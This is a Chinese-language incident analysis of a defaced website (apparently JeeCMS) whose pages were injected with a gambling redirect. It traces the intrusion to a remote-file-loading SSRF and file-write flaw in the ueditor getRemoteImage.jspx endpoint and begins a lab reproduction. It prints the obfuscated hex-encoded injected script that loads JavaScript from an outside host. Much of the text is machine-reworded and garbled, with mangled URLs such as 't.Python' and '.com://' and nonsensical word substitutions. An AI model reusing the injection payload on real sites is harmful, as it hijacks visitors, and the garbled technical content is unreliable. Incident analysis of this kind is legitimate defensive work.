背景简述 最近,令人信服的安全认知平台发现手机客户端网络服务器中的文件被伪造并置入到赌钱页面中。在说动安全团队进行调研后,发现大量网页文件被伪造,伪造时间非常聚集。如图所示,2019年3月26日为16: 31左右的网站日志中转化成了大量故意文件。
侵入分析 在伪造文件目录中初次被伪造的文件是在2019年3月14日,13: 52建立并建立的。
对被黑网站文件进行常见故障排除,并在头部位置发现恶意代码,如下如图: 恶意代码的内容如下: < script> var _0x150a=['\ x3C \ x73 \ x63 \ x72 \ x69 \ x70 \ x74 \ x20 \ x73 \ x72 \ x63 \ x3D \ x27 \ x68 \ x74 \ x74 \ x70 \ x3A \ x2F \ x2F \ X61 \ X74 \ X61 \ X70 \ X69 \ X38 \ X38 \ X38 \ X2E \ X63 \ x6F \ X6D \ X2F \ X67 \ X6C \ x6F \ X62 \ X61 \ X6C \ X2F \ X73 \ X74 \ X61 \ X74 \ X69 \ X63 \ X2F \ X6A \ X73 \ X2F \ X74 \ X2E \ X70 \ X68 \ X70 \ X27 \ x3E \ X3C \ X2F \ X73 \ X63 \ X72 \ X69 \ X70 \ X74 \ x3E '' \ X77 \ X72 \ X69 \ X74 \ X65' ];文件[_0x150a [1]](_0x150a [0]);< /脚本制作> 十六进制转换编解码后,发现它是一个故意的Js脚本制作,即通过document.write载入故意连接.com://atapi888.Com/global/static/Js/t.Python,Js内容如图所示: 通过电脑浏览器浏览.com://atapi888.Com/global/static/Js/t.Python后,我发现了回到的内容也是编号内容,如下如图: 检查源码,发现有一个赌钱流量统计网站.com://count.51yes.Com/。
变换并编解码上述编号内容十六进制后,获得图为如图的网页地址,即通过windows.location.href打开新窗口检查网站中的webshell侧门,发现没有webshell web木马病毒,如下如图: 根据死链接撰写的时间点,检查web系统日志,异常POST恳求的时间和文件被仿冒的时间点是一致的,这样就可以知道系统漏洞在/ueditor/getRemoteImage.jspx插口。
系统漏洞分析 从web系统日志中可以发现,在固定的时间点,网络攻击上传大量POST数据文件。目标网页地址是:.com://网站域名/ueditor/getRemoteImage.jspx,它排除了webshell侧门存在的概率,即getRemoteImage。 Jspx此插口必须存在系统漏洞。在源码中搜索getRemoteImage.jspx文件,在网络服务器上找不着该文件。试着使用内容配对来搜索不太好的类部件。
在这里,使用内容匹配函数搜索所有内容的相关插口EeditorAct.class,具体做法如下: 反编译UeditorAct.class文件并分析/ueditor/getRemoteImage.jspx插口。
此插口的主要功能是载入远程服务器上的资源,而不是判断资源的类型或尾缀,并直接将其载入/u。/cms源码/WWW /文件目录。此地还存在SSRF系统漏洞,这代表可以通过插口检测内部网络和公共性网络,并且由于任何文件载入而载入黑页。
系统漏洞 远程网络攻击可以使用upfile主要参数在网络服务器中恳求虚报系统漏洞,以获得比较敏感信息,进攻内部网络服务器或撰写故意文件。
系统漏洞重现 试验仪iP:192.168.231.133安装jeecms v7版本号 仿真模拟远程服务器iP:192.168.231.134 当地安装jeecms v7版本号,操作环境需要JDK5 + TOMCAT5.9 + MYSQL5及以上版本号,为了再现远程文件载入并达到预期目标,在远程服务器192.168.231.134 root中载入检测文件test.html语言文件目录。